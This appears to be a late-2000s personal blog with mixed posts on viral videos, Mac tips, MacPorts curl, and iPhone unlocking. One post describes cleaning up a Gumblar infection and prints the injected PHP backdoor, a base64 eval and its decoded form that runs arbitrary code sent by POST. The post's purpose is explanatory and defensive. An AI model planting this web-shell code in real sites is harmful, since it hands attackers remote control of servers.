This 26 Gigapixel photo was taken in Dresden, Germany.
It feels like CTU in 24 and their satellite capture, it’s unbelievable how much details are in the photo.
It would take “Where’s Waldo” to another level.
But it is not done by 1 shot, it actually requires a lot of effort, took 172 minutes to shoot, took 94 hours to stitch 1665 images (21.4 megapixel) this 102 GB gigantic photo.
You must try this out, this is wild!

I wonder how many bones this guy (Danny Macaskill) have to break to get to his level of skills.
Simply amazing!

A lot of Windows user switching over to Mac seems to confuse about the green button on the top left of a window, expecting it to maximize the window to full screen. But in fact that button is really not the same maximize button as Window’s world, but rather the Zoom button which merely maximize the Window to the content.
Here is a little video that explains the differences, and as well teaches you how to create a shortcut key for it (or click here to watch my video on youtube) :
DeWorm
Ouch, some of my sites were attacked by Gumblar.cn exploit, and blacklisted by Google.
What it does is injecting malicious codes into .html, .php, .aspx and .js files, usually some snippet of javascript in the header right before the body tag in .html and .aspx files, and at the bottom of the .php and .js files. It will also generate a image.php and gifimg.php file in the images directory. It will do so randomly anywhere on the website. PC users visiting the site could be compromised.
First thing to do is to change ftp password, a stronger password would help. Then it takes me a long time to scrub through the sites, using scripts, search and replace, delete, ftp, to find and delete those scripts, and then about a day for Google to review the site again. Linux really help in this case in cleaning it up through command line, but not so with PC servers, where each file have to be checked manually.
Some analysis…
Here is one sample of the various injections :

This is the backdoor script in the image.php or gifimg.php file :
eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzM2MzQyYjMxMzgzNzJlMzIzMDMxMmUzMjMyMzUzYTdhNjk2MzZmNmM2MTNlNzA2NTc0NjQ3MjZjNjEnOw=='));
When decoded, here is the actual php script :
if(isset($_POST['e']))eval(base64_decode($_POST['e']));echo ‘36342b3138372e3230312e3232353a7a69636f6c613e70657464726c61′;
As you can see, it can run any php commands through that file on your server.

What a pain… and 2 days wasted for no reason.
I needed curl to do sftp recently, and found that the curl version came with Leopard is outdated and does not have the library “libssh2″ for sftp access.
curl -V would show you what options/library was compiled with it.
Then came macport which I previously installed.
Did a “port list curl” and found the curl version available was recent enough.
then “port info curl” would show you the variants available :
curl @7.19.3 (net, www)
Variants: ares, darwin_6, doc, gnutls, gss, idn, ipv6, openldap, sftp_scp, spnego, ssl, universal
sftp is there!
So simple enough, I did a “port install curl +sftp_scp” and sit back and relax.
To break it down in english : port please install curl and add the options of +sftp_scp
How simple can it be?
Macport is available at http://www.macports.org/, I recommend everyone to get it and have it installed, it is such a handy tool.
MUTO a wall-painted animation by BLU from blu on Vimeo.
This graffiti artist blu captured his graffiti animation which is so mind boggling, somewhat creepy, but it is a work of art. I especially love how his drawing interact with surrounding objects. The animation and accompany audio really grabs your attention, I just wonder how long it takes to complete this work. The city is his canvas…
Okay… I want one of these please, you don’t see them, but they are there, so kewl!

Okay, this is unreal, because it is actually Sold Out!
This is sold as an unbreakable umbrella, but really more like a weapon to me.

Check out why, especially see how he deals with the Watermelon, maybe it’s for good use in the kitchen !!
Matt’s dance is really inspiring, and uplifting, I watched it so many times, gives you a break from any bad day, this would be a great video for kids, if you really want it, just do it. I wish I find this video some 20 years ago… =P
This video is the latest 2008 release collections of his dance all over the world, very nicely put together, notice how other people trying to mimic his goofy dance, you won’t regret watching it :

An excellent video funny video about Typeface names, which was presented at the Font Conference…

iPhone user wannabe rejoice!
Software unlock for brand new 1.1.2 or 1.1.3 firmware iphones can now be unlocked.
Thanks to hard work from George Hotz, he found an exploit to do software unlock on latest iphones which was previously thought impossible.
Here is a clear step by step instructions from Pinky’s Brain blog : http://pinkysbrain.wordpress.com/2008/02/08/unlock-iphone-otb-112113-bootloader-46-step-by-step-tutorial/

Hack away!!
Update
Even though Geohot is the king of hacks, Zibri’s ZiPhone that uses Geohot’s Gunlock bundles a whole bunch of stuff into a nice simple package is the most popular iphone jailbreak/unlock out there, check out his blog :
http://www.ziphone.org/
I have already seen a few 1.1.3 16gb unlock iphones around the company here.
I hope that Geohot and Zibri can just work together, stop the argument, have some fun and enjoy the ride….
There are a lot of Super Mario music fans out there, take a look…
Blind folded piano :

Flute and beatboxing :

HANDS!!
Any type of instruments you can find on youtube.
Okay, this is definitely possible, and does not look too difficult, just a touch hairy when opening the case, I probably won’t have to worry about it at least a few years down the road.
Warning : Doing this is of course voids your iPhone warranty. But I guess who cares, since they don’t even sell them in Canada!
